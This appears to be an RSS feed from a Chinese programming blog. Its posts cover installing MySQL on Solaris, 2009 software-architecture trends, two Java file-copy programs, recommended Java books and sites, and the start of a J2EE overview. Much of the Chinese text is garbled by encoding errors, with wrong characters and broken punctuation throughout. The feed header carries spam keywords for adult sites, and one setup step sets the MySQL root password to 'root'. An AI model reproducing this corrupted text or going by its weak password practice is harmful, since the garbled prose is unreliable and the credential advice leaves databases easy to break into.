??xml version="1.0" encoding="utf-8" standalone="yes"?>91午夜精品亚洲一区二区三区,亚洲欧美日韩中文高清www777,亚洲人成伊人成综合网久久http://www.tkk7.com/computerboy/ 自由|免费|׃nzh-cnSat, 10 May 2025 14:22:02 GMTSat, 10 May 2025 14:22:02 GMT60Solaris10下安装MySQLhttp://www.tkk7.com/computerboy/archive/2010/08/04/327973.htmlComputerboyComputerboyWed, 04 Aug 2010 13:09:00 GMThttp://www.tkk7.com/computerboy/archive/2010/08/04/327973.htmlhttp://www.tkk7.com/computerboy/comments/327973.htmlhttp://www.tkk7.com/computerboy/archive/2010/08/04/327973.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/327973.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/327973.html 下蝲面Q?http://www.mysql.com/downloads/mysql
选择对应的Solaris版本Q目前需要安装的版本是Solaris 10 SPARC 64-bit
2 解压MySQL
转到下蝲目录Q目前本机器攑֜ /u02/mysqltemp 目录?br /> #gunzip -d mysql-5.1.49-solaris10-sparc-64bit.pkg.gz
3 创徏mysql 的用L和用?q指定目?br /> #groupadd mysql
#useradd -G mysql mysql
Q=Q=
mkdir /export/home/mysql
chgrp mysql /export/home/mysql
chown mysql /export/home/mysql
usermod -d /export/home/mysql mysql
Q=Q=
如果觉得不需要指定目录,可以个略q创建步骤?br />
4 使用pkgadd 安装MySQl ?br /> #pkgadd -d mysql-5.1.49-solaris10-sparc-64bit.pkg
安装后的MySQL 位于 /opt/mysql/mysql 目录?br />
如果不用此文件可以略q此步骤?br /> 4.1 建立目录q接
#cd /usr/local
#ln -s /opt/mysql/mysql/mysql
如果不需要,可以略过此步骤?br />
5 在目?etc下创建mysql.cnf 文gQ内如如下:
[mysqld]
basedir=/opt/mysql/mysql
datadir=/opt/mysql/mysql/data

6 q行MySQL 的post-install 文gQ创建数据库 repository 或者叫初始化MySQL
#cd /opt/mysql/mysql
#./scripts/mysql_install_db --defaults-file=/etc/mysql.cnf --user=mysql
或者用:
#./scripts/mysql_install_db  --user=mysql
7 启动MySQL
#cd /opt/mysql/mysql
#./bin/mysql_safe -defaults-file=/etc/mysql.cnf -user=mysql
也可以用如下的Ҏ启动MySQL
#/etc/init.d/mysql start
8 更改MySQL root用户的口?br /> #/opt/mysql/mysql/bin/mysqladmin -u root password 'new-password'
#/opt/mysql/mysql/bin/mysqladmin -u root -h 机器名称 password 'new-password'
或者登录MySQL 之后用如下的Ҏ更改Q?br /> update user set password=PASSWORD('root') where user='root';
9 dMySQL 命o
#mysql -p
输入新的密码Q?br /> 或者用如下Ҏd
mysql -u root mysql

10 停止MySQL
#/etc/init.d/mysql stop




Computerboy 2010-08-04 21:09 发表评论
]]>
2009q?0个必ȝ道的软g架构主题http://www.tkk7.com/computerboy/archive/2009/04/18/266293.htmlComputerboyComputerboySat, 18 Apr 2009 06:20:00 GMThttp://www.tkk7.com/computerboy/archive/2009/04/18/266293.htmlhttp://www.tkk7.com/computerboy/comments/266293.htmlhttp://www.tkk7.com/computerboy/archive/2009/04/18/266293.html#Feedback1http://www.tkk7.com/computerboy/comments/commentRss/266293.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/266293.html Dion Hinchcliffe 说道Q在q去一q多Q经q长旉的^静以后,企业软g架构领域l于又开始o人振奋,我们看到很多重要的新主题出现在潜在游戏修改者的早期L部分Q同时已l进入行业的边缘的一些创新正在开始创造一条新的道路?

重大修改Q占据霸权地位的3层和4层应用模型,重量U运行时runtimeq_Q和l典的面向服务的架构已经d了近十年Q现在几乎被四分五裂QY仉域出C一pd新的方式来设计架构Y件?/strong>

主要变化是,架构师面Ҏ的应用需求,比如可以重复使用的^収ͼ开放APIQ可以即时支持全球分布,处理数百TB量数据Q以及数以千万用L? 战的时候,在寻找新的解军_法。这些创新尤其在今天最大的pȝ上得到验证,其运行面对独特的挑战Q规模,性能Q或者特性设|。这些Y件的q步Q跨q日常Y Ӟ企业pȝQ到互联|应用,新的Ud讑֤和新兴的C会化网l应用?

应用架构的支q似关pd数据库模型,单块q行时run-timesQ和定的行为,已经被非关系型系l,云计,和新的以拉式为基的pull-based pȝ所挑战Q一致性和数据完整性的重要性有时让位于正常q行旉和效率?

让我们不要忘记web 2.0ҎQ和在线应用和企业架构的设计模式已经来稳定。社会化架构Q群众外包crowdsourcingQ开放供应链open supply chains 已经在最新的软gpȝ众成范,速度比预期快的多?

另外QSaaS的迅速发展,越了传l商业应用的领域Q大q度q入云计领域;Ud|络的普及,无线技术的发展Q虚拟化和便力的增强Q让存储和应用发生了巨大的变化。Web 2.0|络提供的工具和协作性也进入主的企业应用Q提供富有创意的沟通交互方式?br />

1。云计算Q这个概늛前非常火爆,但是概念不是那么清楚Q涉及面从常规的L到^C为服务Platform-as-a-service (PaaS)。我在DZNET上详l定义了云计,q对厂商q行了分c,云计就是下一代的操作pȝ之战Q?/strong>

2。非关系型数据库QTony Bain写一文?#8220;关系型数据库已死Q?#8221;虽然得出q个l论可能为时q早Q但是很多数据库应用一开始更改用非关系型数据库Q尤其是文本的资源ؓ中心的存 储需求。新数据库,比如QCouchDBQAmazon SimpleDBQDrizzleQ来自MySQLQ,MongoQ以及Scalaris 现在来成熟?

3。下一代分布式计算QJavaEye新闻以前曾报道过“Yahoo! 启动了世界上最大的Hadoop生应用”Q分布式计算能够处理大量的超乎想象的数据能力。同时商业Y件GridGain 和开源的 Disco 也在分布式运领域发展强劌Ӏ?

4。Web-Oriented Architecture (WOA)QREST架构应用更加q泛Q在此基上包括数据代表,安全Q完_l合和分布,q样的应用更加自Ӟ富有效率的徏讑֟于互联网的应用?

5。MashupsQmashup是糅合,是当今网l上新出现的一U网l现?两U以上用公共或者私有数 据库的web应用Q加在一P形成一个整合应用。一般用源应用的api接口Q或者是一些rss输出Q含atomQ作为内ҎQ合q的web应用? Mashup概念已经融入SOAQؓ企业架构带来价倹{我认ؓMashup是下一个最主要的新应用开发模?

6。Open Supply Chains via APIs
Q有来多的企业开始开放APIQ将填^传统IT应用和互联网应用之间的`沟。通过提供API开放供应链pȝ?

7。动态语aQ动态语acMJavascript, Perl, ErlangQ以及动态语a框架RailsQCakePHPQGrails{都发展非常q速?

8。Social computingQ通过C会化开发的软g比非C会化开发的软g更加优秀Q比如很多开源项目,Wiki{?

9Q群众外包crowdsourcing ?q生架构 peer production architecturesQ很适合部vC联网的业务模式,通过互联|聚合群体的智慧和力量?

10。新的应用模?/strong>Q随着Facebook和下一代移动应用的出现Qwidget行QY件原子化势预示者微型应用的时代必将到来。不同的微型应用嵌入到其他应用中,能够快速^行扩展?br />


原文查看Q?a target="_blank">http://hinchcliffe.org/archive/2009/03/17/16712.aspx




Computerboy 2009-04-18 14:20 发表评论
]]>
一个文件复制的两种Ҏ的实?/title><link>http://www.tkk7.com/computerboy/archive/2007/05/25/120020.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 25 May 2007 08:17:00 GMT</pubDate><guid>http://www.tkk7.com/computerboy/archive/2007/05/25/120020.html</guid><wfw:comment>http://www.tkk7.com/computerboy/comments/120020.html</wfw:comment><comments>http://www.tkk7.com/computerboy/archive/2007/05/25/120020.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.tkk7.com/computerboy/comments/commentRss/120020.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/computerboy/services/trackbacks/120020.html</trackback:ping><description><![CDATA[<p>一个文件的复制我们大概的思维是通过来操作Q不错?br>本文也是q样操作的?br>至于W一U方法是我们一般的操作方式Q而第二种Ҏ其实也是一个方式,我们不妨研究一下?br>闲话说。看E序?/p> <p>q个E序我写的是两个ҎQ支持从命o行操作?br>例一Q?br>package org.stonecn.kernel;<br>import java.io.*;<br>public class FileCopy {<br> /** <br>  * 试E序<br>  */<br> public static void main(String[] args){<br>  if(args.length!=2)<br>   System.err.println("Usage: java FileCopy<source><destination>");<br>  else{<br>   try{<br>    copy(args[0],args[1]);<br>   }<br>   catch(IOException e){<br>    System.err.println(e.getMessage());<br>   }<br>  }<br> }<br> public static void copy(String from_name,String to_name)throws IOException{<br>  File from_file=new File(from_name);<br>  File to_file=new File(to_name);<br>  if(!from_file.exists())<br>   abort("no such source file:"+from_name);<br>  if(!from_file.isFile())<br>   abort("can't copy directory:"+from_name);<br>  if(!from_file.canRead())<br>   abort("source file is unreadable:"+from_name);<br>  /**<br>   * 如果目标是一个目录,则用源文g名作为目标文件名<br>   */<br>  if(to_file.isDirectory())<br>   to_file=new File(to_file,from_file.getName());<br>  /**<br>   * 如果目标文g存在Q则保它是可写?q且在覆盖之前先询问<br>   * 如果目标文g不存在,则确保存在目录,而且是可写的?br>   */<br>                 // 此处支持命o行,如果不用可以注视掉?nbsp;   sart   <br>  if(to_file.exists()){<br>   abort("destination file is unwriteable:"+to_name);<br>   //询问是否覆盖<br>   System.out.print("Overwrite existing file:"+to_file.getName()+"?(Y/N):");<br>   //得到用户响应<br>   System.out.flush();<br>   BufferedReader in=new BufferedReader(new InputStreamReader(System.in));<br>   String response=in.readLine();<br>   //查响应,如果不是yes(未做认),则终止复?br>   if(!response.equals("Y") && !response.equals("y"))<br>    abort("existing file was not overwritten.");<br>  }<br>  else{<br>   /**如果文g不存在,查是否存在目录且是否可写<br>    * 如果getParent()q回nullQ则目录是当前dirQ?br>    * 因此查找user.dirpȝҎ,以得出它是什?br>    */<br>   String parent=to_file.getParent();  //目标目录<br>   if(parent == null)<br>    parent=System.getProperty("user.dir");<br>   File dir=new File(parent);<br>   if(!dir.exists())<br>    abort("destination directory doesn't exist:"+parent);<br>   if(dir.isFile())<br>    abort("destination is not a directory:"+parent);<br>   if(!dir.canWrite())<br>    abort("destination directory is unwriteable:"+parent);<br>  }<br>                  //到此l束      end  <br>  /**<br>   * 如果走到q了Q则一切正常?br>   * 因此可以复制文gQ一ơ复制一个字节缓冲区<br>   */<br>  FileInputStream from=null;   //从源d的流<br>  FileOutputStream to=null;    //写至目标的流<br>  try{<br>   from=new FileInputStream(from_file); //创徏输入?br>   to=new FileOutputStream(to_file);    //创徏输出?br>   byte[] buffer=new byte[4096];<br>   int bytes_read;<br>   /**<br>    * 一块字节读入缓冲区Q然后将其写?br>    * 如果循环Q知道达到文件结?read()q回-1)<br>    * 注意Q在此while循环中结合了赋值和比较<br>    */<br>   while((bytes_read=from.read(buffer))!=-1)  //读,直到EOF<br>    to.write(buffer,0,bytes_read);         //?br>  }<br>  finally{<br>   if(from!=null)<br>    try{<br>     from.close();<br>    }<br>   catch(IOException e){<br>    ;<br>   }<br>   if(to!=null)<br>    try{<br>     to.close();<br>    }<br>   catch(IOException e){;}<br>  }<br> }<br> /**<br>  * q是抛出异常的一个便利方?br>  */<br> private static void abort(String msg)throws IOException{<br>  throw new IOException("FileCopy:"+msg);<br> }</p> <p>}</p> <p><br>q个E序的好处是一个安全的。因为有一个静态的copyҎ。其他程序也可以使用此方法来复制文g</p> <p> </p> <p>我们来看W二个例?/p> <p>例二Q?br>package org.stonecn.kernel;<br>import java.io.*;<br>import java.nio.channels.*;</p> <p> public class FileCopy2{<br>  public static void main(String[] args){<br>   FileInputStream fin=null;       //两个文g的流<br>   FileOutputStream fout=null;     //q些要在finally块中关闭<br>   try{<br>    //打开输入文g的一个流Qƈ从中得到一个通道<br>    fin=new FileInputStream(args[0]);<br>    FileChannel in=fin.getChannel();<br>    <br>    //下面得到输出通道<br>    WritableByteChannel out;<br>    //如果有第二个文g?br>    if(args.length>1){<br>     fout=new FileOutputStream(args[1]);<br>     out=fout.getChannel();<br>    }<br>    else{<br>     //没有目标文g?br>     out=Channels.newChannel(System.out);   //包装stdout?br>    }<br>    //查询输入文g的大?br>    long numbytes=in.size();<br>    /**<br>     *采用扚w传输的方式将所有字节从一个通道传输到另一个通道<br>     *q是fileChannel通道的一个特D特?br>     *参见FileChannel.transferForm()<br>     */<br>     in.transferTo(0,numbytes,out);<br>    <br>   }<br>   catch(IOException e){<br>    System.out.println(e);<br>   }<br>   finally{<br>    try{<br>     if(fin!=null)  fin.close();<br>     if(fout!=null)  fout.close();<br>    }<br>    catch(IOException e){<br>    }<br>   }<br>   <br>  }<br> }</p> <p><br>而这个程序将其第一个参C指定的文件复制到W二个参数所指定的文件中?br>如果没有W二个参数则复制到标准输出?/p> <p>同样的方式,两种实现Q这是我们所说的l果一P而过E也是千变万化?br>例二所涉及的包是我以前所没有接触到的?br>Ƣ迎朋友们来指正?/p> <p> </p> <p> </p> <p> </p> <p> </p> <img src ="http://www.tkk7.com/computerboy/aggbug/120020.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/computerboy/" target="_blank">Computerboy</a> 2007-05-25 16:17 <a href="http://www.tkk7.com/computerboy/archive/2007/05/25/120020.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java 专业人士必备的书c和|站http://www.tkk7.com/computerboy/archive/2007/02/02/97459.htmlComputerboyComputerboyFri, 02 Feb 2007 04:11:00 GMThttp://www.tkk7.com/computerboy/archive/2007/02/02/97459.htmlhttp://www.tkk7.com/computerboy/comments/97459.htmlhttp://www.tkk7.com/computerboy/archive/2007/02/02/97459.html#Feedback1http://www.tkk7.com/computerboy/comments/commentRss/97459.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/97459.html

书籍

每个E序员都会有一些由于经常被当作专业资料参阅而磨坏的书。下列书c应该是 Java 语言E序员的书架上必备的。书很贵Q所以我有意这份列表弄得很短,仅限于重要书c?/p>

Thinking in Java (Bruce Eckel)

Thinking in Java, 3rd edition QBruce Eckel; Prentice Hall PTRQ?002 q_
Java ~程思想Q第3?/i> Q陈昊鹏 {译; 机械工业出版C,2005 q_
Eckel 的书对于学习如何?Java 语言环境中用好面向对象技术极其实用。书中大量的代码样例解释了他所介绍的概c文字出自一个ƈ不认?Java 技术L正确{案的hQ所以相当地实用。Eckel h多种语言的大量经验,q有用面向对象方式进行思考的扎实技能。本书将q些技能放到实用的 Java 语言环境中。他q在写一本新书,名ؓ Thinking in Enterprise Java?/p>

Effective Java (Joshua Bloch)

Effective Java: Programming Language GuideQJoshua Bloch; Addison-WesleyQ?001 q_
Effective Java 中文?/i> Q潘爱民 ? 机械工业出版C,2003 q_
本书是理解优U Java E序设计原则的最佳书c。大多数材料从其他的 “学?Java ?的书中根本找不到。例如,Bloch 书中关于覆盖 equals() q一章是我读q的最好的参考资料之一。他也在书中包括了很实用的徏议:用接口替代抽象类和灵zM用异常。Bloch ?Sun 公司 Java q_库的架构师,所以他透彻C解这门语a。事实上Q他~写了该语言中大量有用的库。本书必读!

Java Examples in a NutshellQ()弗拉Ux 著)
<a href=http://www.dearbook.com.cn/book/29570target="_blank"><i>
Java 实例技术手?/font></i></a>(林剑Q王宇飞 ?site>中国电力出版C?/font> 2005q?


作者精心打造了q样一本实战型Java图书Q全书都围绕着真实世界Java~程实例展开Q?br />你将从中L多多。如果你更們֐于“通过例子”来学习Q那么这本书正是你的首选?br />全新的第三版늛了Java 1Q?Qƈ收入?93个完整的实战CZQ?br />其中包括过21900行认真编写ƈ作了详尽注释的Java代码Q在此涉?0个不同的客户端和服务器端 API?br />有关XML和servlet的章节已l重写,以涵盖相应规范的最新版本,
q展C对于Java 1Q?的最佛_c书中还增加和更C一些实例,以展C其他一些新的JavaҎ和API?br />

 

<a href=http://www.dearbook.com.cn/book/16377  target="_blank"><i>J2EE服务器高U编E?lt;/i></a>
Q闻道工作室)
本书主要讲解了开发者如何用J2EE体系l构为各事务lg~写关键逻辑。通过对Java servlet、JavaServer面及EJB技术的理解Q本书示例了如何设计和构建安全且可扩展的Java n层应用。内容包括:如何使用JSP面分割事务和表C逻辑Q如何用EJB创徏可扩展的应用Q及如何使用CORBA、XML和Java Message Service与其他系l集成?br />

The Java Programming Language (Ken Arnold, James Gosling, David Holmes)

The Java Programming LanguageQKen ArnoldQJames GoslingQDavid Holmes; Addison-WesleyQ?000 q_
Java ~程语言Q第 3 版) Q虞万荣 {译Q中国电力出版社Q?003 q_
q也许是能弄到的最好的 Java 入门ȝ。它q不是一个标准规范,而是一本介l每门语aҎ的可读书籍。这本书在严谨性和教育性方面权衡得很好Q能够让懂编E的速被 Java 语言Q和其丰富的cdQ所吸引?/p>

Concurrent Programming in Java: Design Principles and Patterns (Doug Lea)

Concurrent Programming in Java: Design Principles and Patterns, 2nd editionQDoug Lea; Addison-WesleyQ?999 q_
Java q发~程—设计原则与模式Q第二版Q?/i> Qn?{译Q中国电力出版社Q?004 q_
不是每个开发h员都需要如此细致地了解q发性,也不是每个工E师都能辑ֈ本书的水准,但却没有比本书更好的关于q发性编E的概述了。如果您Ҏ感兴,请从q里开始。Lea ?SUNY 的一名专业程序员Q他的和q发性有关的作品和想法都包含在了 JDK 5.0 规范Q引?JSR166Q中Q所以您大可攑ֿQ他所说的关于有效使用 Java 语言的徏议是值得一听的。他是一个很善于沟通的人?/p>

Expert One-On-One J2EE Design and Development (Rod Johnson)

Expert One-On-One J2EE Design and DevelopmentQRod JohnsonQ?br />WROX: J2EE 设计开发编E指?/i> Q魏 译,电子工业出版C,2003 q_
对于刚接?J2EE 的h来说Q这是唯一的一本如实反映这Ҏ术的书。本书收录了多年的成功经验和p|l验Q不同于其他许多作者,Johnson 乐于失败的l验公诸于众。J2EE 常常都被q度使用。Johnson 的书能帮您避免这一炏V?

Refactoring (Martin Fowler, Kent Beck, John Brant, William Opdyke, Don Roberts)

Refactoring: Improving the Design of Existing CodeQMartin FowlerQKent BeckQJohn BrantQWilliam OpdykeQDon Roberts; Addison-WesleyQ?999 q_
重构Q改善既有代码的设计Q中文版Q?/i> Q侯?{译Q中国电力出版社 Q?003 q_
Fowler 写了几本现已出版的最行的编E书Q包?Analysis Patterns。他的关?i>重构
的书是这一主题的基本书c。重构代码是被程序员忽略的训l,但却是程序员最直观的想法。重构是在不改变代码l果的前提下改进现有代码的设计。这是保持代码整z的最x式,用这U方法设计的代码L很容易修攏V什么时候进行重构呢Q当代码“散发出味道”时。Fowler 的书里满?Java 语言代码的例子。许?Java 语言集成开发环境(IDEQ(包括?IBM ?EclipseQ都?Fowler 的重构包含了q去Q每一个都使用他的重构名命名,所以熟悉如extract method {重构方法还是很值得的?/p>

Design Patterns (Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides)

Design Patterns: Elements of Reusable Object Oriented SoftwareQErich GammaQRichard HelmQRalph JohnsonQJohn Vlissides; Addison-WesleyQ?997 q_
设计模式Q可复用面向对象软g的基 Q李英军 {译Q机械工业出版社 Q?005 q_
q是一本在专业E序员圈子里更ؓ有名的书Q基于作者共同的l号Q这本书被认为是 “四人帮QGOFQ之书”。模式是思考和解决普通编E问题时可以重用的方式。学习模式是一门学U。用好模式Q或知道什么时?i>?/i> 使用模式Q是一Ҏ能。忽略模式则是错误的。书中所有的例子都以 C++ 表示Q但 Java 语言是从那里诞生的,?Java 语言E序员由此联pd如何?Java 语言中实现这些模式相对简单一些。熟悉模式ƈ了解如何使用好模式ɾ~程更加单。这使得和其他程序员交流也更单,因ؓ在针寚w用问题的通用解决Ҏ中,模式是描q解x案中彼此协作的大量相关编E概늚快捷方式。一些更为通用的方式,?i>工厂Ҏ
则是普便存在的,甚至存在?Java 语言本n。关于明Z用模式的q个主题Q也可以阅读 Joshua Kerievsky ?Refactoring to PatternsQ该书称可以让代码来告诉您何时实现模式?/p>

Patterns of Enterprise Application Architecture (Martin Fowler)

Patterns of Enterprise Application ArchitectureQMartin Fowler; Addison-WesleyQ?002 q_
企业应用架构模式 Q王怀?{译Q机械工业出版社 Q?004 q_
比v型、一ơ性项目来_企业开发当然代表了更大的挑战。那q不意味着企业开发带来的所有挑战都是新挑战。事实上有些时候,q项开?i>已经 是以前完成过的了。Fowler 做了很多个这L目。他的书提到了一些通用解决ҎQƈ提供了关于用、折中和可选方案的指导。Fowler 在书中包含了一些熟悉的模式Q如模型视图控制器(MVCQ,他也提供了一些您也许不了解的模式Q如处理 Web 站点上特定页面请求或行ؓh?Page Controller 模式。正如您对待大多数模式一P一旦您读过许多模式Q您׃认ؓ “我已经知道那个模式了?。也许是q样Q但有一个用来引用模式的通用表达方式q是很有帮助的。在有多个组Ӟ׃同h开发)的大型项目中Q该cd用是一很好的帮助?/p>

UML Distilled (Martin Fowler)

UML Distilled: A Brief Guide to the Standard Object Modeling LanguageQMartin Fowler; Addison-Wesley 2003 q_
UML_aQ标准对象语a明指南(W?版) Q徐家福 译,清华大学出版C?Q?005 q_
对于专业的程序员来说QUML 是一门很重要的通用可视化沟通语aQ但是它被过度用和草率地滥用了。您无需对?UML 沟通了解太多。Martin ?UML 的提gؓ您提供了最核心的东ѝ事实上Q前后的页提供了常规基上可能用到的所有东ѝ该书中 UML 例子的代码都?Java 代码?/p>

Test-Driven Development: By Example (Kent Beck)

Test-Driven Development: By ExampleQKent Beck; Addison-Wesley 2002 q_
试驱动开发(中文版) Q崔?译,中国电力出版C?Q?004 q_
试优先~程ɾ~程发生革命性变化,能助您成为更好的E序员。在写代码之前编写测试开始很难,但却是一威力强大的技能。通过优先~写试Q可使代码更加简单,q确保从一开始它p工作QBeck 实践着他提倡的试优先Q与人合写了 JUnitQ这?Java 语言最行的测试框Ӟ。Beck 的书是权威的参考资料,扩展了的 Money 例子也用 Java 语言写成。Beck 详述了如何用试优先q行 思?/b>Q这也许是许多程序员首先遇到的障)?/p>

The Pragmatic Programmer: From Journeyman to Master (Andy Hunt and Dave Thomas)

The Pragmatic Programmer: From Journeyman to MasterQAndrew Hunt ?David Thomas; Addison-Wesley 1999 q_
E序员修g道——从工C?Q马l达 译,电子工业出版C?Q?004 q_
做一个纯_的面向对象开发h员有其优势所在。在当今复杂的社会中Q作?Java 语言开发h员,为完成Q务常要妥协。Hunt ?Thomas 探讨了如何不真正重要的东西妥协掉而完成Q务。这不是一本关?Java 语言的书Q而是 Java 语言开发h员重要的思想ȝ。例如,我认为没从“要解决问题Q而不是推卸责仠Z这句忠a中受益的E序员,不能像个自豪的艺术家一样在他的C上签上大名?/p>

Peopleware: Productive Projects and Teams (Tom DeMarco and Timothy Lister)

Peopleware: Productive Projects and TeamsQTom DeMarcoQTimothy Lister; Dorset HouseQ?999 q_
ZgQ第2版) QUMLChina 译l?译,清华大学出版C?Q?003 q_
q䆾列表中的其他所有书c都臛_和技术有些相兟뀂这本书却不是。在所有技术行话和首字母羃略词的vz中Q有时Y件开发h员和l理们会忘记Q是?/i> 刉了软g。DeMarco ?Lister 向我们提醒了q一事实Q也向我们提醒了形成q一区别的原因。这不是一本关于一门特定编E语a的书c,但却是每?Java 语言E序员都应该ȝ书。关?“篏ȝ序员如何让经理们适得其反?q有许多其他的好书,但这是最好的一本?br />


Web 站点

Web 站点的数目浩如烟P如果您想要消化其中的内容Q穷毕生之力也难以全部访问。包?Java 语言某方面内容的详尽的网站列表会大得谱。下列站炚w是可靠、真实的?/p>

Sun ?Java 技术站?/span>

Sun ?Java 语言站点
q是 Sun ?Java 语言ȝ。作?Java 语言开发h员,您会发现自己频繁地访问此站点。下列链接特别重要,特别是对新入行的 Java 语言开发h员:

  • New to Java Center
    New to Java Center
    New to Java Center 存放了许多@序渐q的 Java 技术资源链接。如果您刚接触这门语aQ这是一个好的v炏V?
  • 教程和代码库
    Java Tutorial
    q里有大名鼎鼎的 Java TutorialQ以及关?Java 语言各个斚wQ例?CollectionQ的其他教程?

IBM developerWorks

IBM ?developerWorks
推销自己也许有些厚脸皮,?developerWorks 是一巨大的资源Q收录了大量 Java 语言工具和技术的教程和文章。其内容从初学者指南到学习q门语言到高Uƈ发性技术。可以根据主题搜索内容,然后Ҏcd览?/p>

Apache Software Foundation

Apache Software Foundation
Apache 站点是许多可重用库(通用领域Q和工具的主,q些库和工具帮助 Java 开发h员进行开发。这里的内容全都是开放源码,所以尽下载想要的吧!许多极其行?Java 语言库和工具Q如 Struts、Ant ?TomcatQ都始于 Apache 目。Jakarta 专区汇聚了大多数新兴?Java 语言材料?/p>

Eclipse.org

Eclipse
有几个好?Java 语言集成开发环境(IDEQ。EclipseQ来?IBMQ是最新的 IDE 之一Q它很快成ؓ Java 语言开发的首要 IDE。它完全是开源的Q这意味着它是免费的。该站包含了学习如何有效使用 Eclipse 的各U参考资料。这里还有关?Standard Widget ToolkitQSWTQ的信息QSWT 是相对于 Swing 来说更加轻量U的选择?/p>

Eclipse 插g中心?Eclipse 插g

Eclipse 插g中心 ?Eclipse 插g
Eclipse Z插g架构。事实上Q插件是 Eclipse ?Java 语言开发组件。但有差不多上千个插Ӟ?Web 开发的插g到在 Eclipse 环境中玩游戏的插件。这两个站点分类列出了大多数插gQ可以进行搜索。它们是很棒的资源。如果您惛_ Eclipse 开发环境中弄点C西,q运的话有某个插件可能已l实玎ͼ从这两个站点能找到想要的插g。这两个站点都允许评论插Ӟq样您就可以知道哪些插g好,哪些值得一试?/p>

JUnit.org

JUnit.org
Junit ?Java 语言中一个基本的单元试框架。该站点包含?Junit 最新最的版本Q外加大量有x试(Java 语言或者其他语a的)各个层面上(针对桌面应用E序、Web 应用E序、J2EE 应用E序{)的其他资源。如果您x试资源Q这里就是最佌v炏V?

TheServerSide.com

TheServerSide.com
如果您要(或将?从事服务器端 Java 语言的开发,此站Ҏ一处D重的资源。您可以到这里找到有?JBoss、J2EE、LDAP、Struts 和大量其他主题的文章Qƈ且都是完全可索的。这些文章不仅仅是简单描q?Java 语言的特征或者支持的库。它们更q一步地描述了库的新奇用法(如?Jakarta Velocity 作ؓ规则引擎Q而不是模板引擎)。它们也提供了有?Java 语言现状的连l评论(当前的一文章是?Tim Bray 所写的 Java is boring Q。该站点更好的通用功能之一是对 Java 语言工具和品(应用服务器等Q的矩阵式比较?

Bruce Eckel's MindView, Inc.

Bruce Eckel's MindView, Inc.
Eckel 写了几本 “用 …?q行思考?的书Q内容关?Java 语言、Python ?C++ Q当我学?Java 语言Ӟ他的 Thinking in Java Ҏ其有帮助。它很实用ƈ切中要害Q在“在 Java 语言环境中如何面向对象思考”方面具有卓识。您可以从此站点免费下蝲他所有书c的电子版。他也写了许多好文章Qƈ且他把这些文章的链接都放Cq里Q包括关?Jython、Java ?.NET 比较{内容的文章Q?/p>

ONJava.com

ONJava.com
O'Reilley 历年来出版了一些有关编E语a和工L优秀书籍。他们的专注?Java 语言的网站也不错。它有些有关各种 Java 语言工具Q如 JDOM ?HibernateQ、Java q_Q如 J2SE ?J2EEQ不同领域不同部分的文章。全部都可以被检索到。他们有优秀的文章和教程。该站点按主题排列。例如有 Java ?XML、Java Security、Wireless Java ?Java SysAdmin。该站点也有?O'Reilley Learning Lab 的链接,在那里您能获得在U参考资料(Java 语言相关和其他的Q。那些不是免费的Q但是许多都面向大学认证。因此您可以以一U很方便的方式来学习技能,q得C些认证?

java.net

java.net C֌
java.net C֌有多个“社区”,有特定于主题的论坛和文章。例?Java Desktop C֌有各cM Java 语言桌面开发相关的资料。Java Patterns C֌作ؓ一个门P也许Ҏ?Java 语言的模式资源相当感兴趣。还有一?Java User Groups (JUG) C֌Q在那里能找到有兛_建、加入和理一?JUG 的信息?


l束语:本文是参?a >http://www-128.ibm.com/developerworks 的文章整理的?br />以后ql收集,因ؓ毕竟不是所有的文章都是最全的Q这个我想不然Q只能说看到好的在l添加?br />



Computerboy 2007-02-02 12:11 发表评论
]]>
J2EE?3U核心技术简?/title><link>http://www.tkk7.com/computerboy/archive/2007/02/02/97450.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 02 Feb 2007 03:53:00 GMT</pubDate><guid>http://www.tkk7.com/computerboy/archive/2007/02/02/97450.html</guid><wfw:comment>http://www.tkk7.com/computerboy/comments/97450.html</wfw:comment><comments>http://www.tkk7.com/computerboy/archive/2007/02/02/97450.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.tkk7.com/computerboy/comments/commentRss/97450.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/computerboy/services/trackbacks/97450.html</trackback:ping><description><![CDATA[ <h5>本文p{载:出处:IT专家|社?/h5> <h5>在本文中解释支撑J2EE?3U核心技术:JDBC,JNDI,EJBs,RMI,JSP,Javaservlets,XML,JMS,JavaIDL,JTS,JTA,JavaMail和JAFQ同时还描q在何时、何处需要用这些技术?/h5> <div id="eg8cm06" class="guanggao"> <span id="contentAdv"> </span> </div> <p>  Java最初是在浏览器和客L机器中粉墨登场的。当Ӟ很多疑它是否适合做服务器端的开发。现在,随着对Java2q_企业?J2EE)W三Ҏ持的增多QJava被广泛接Uؓ开发企业服务器端解决Ҏ的首选^C一?/p> <p>  J2EEq_׃整套服务(Services)、应用程序接?APIs)和协议构成,它对开发基于Web的多层应用提供了功能支持。在本文中将解释支撑J2EE?3U核心技术:JDBC,JNDI,EJBs,RMI,JSP,Javaservlets,XML,JMS,JavaIDL, JTS,JTA,JavaMail和JAFQ同时还描q在何时、何处需要用这些技术。当Ӟ我还要介l这些不同的技术之间是如何交互的。此外,Z让您更好地感受J2EE的真实应用,在WebLogic应用服务?来自BEA Systems公司的一U广为应用的产品环境下来介绍q些技术。不论对于WebLogic应用服务器和J2EE的新手,q是那些想了解J2EE能带来什么好处的目理者和pȝ分析员,怿本文一定很有参考h倹{?/p> <p>  <strong>宏观印象:分布式结构和J2EE</strong></p> <p>  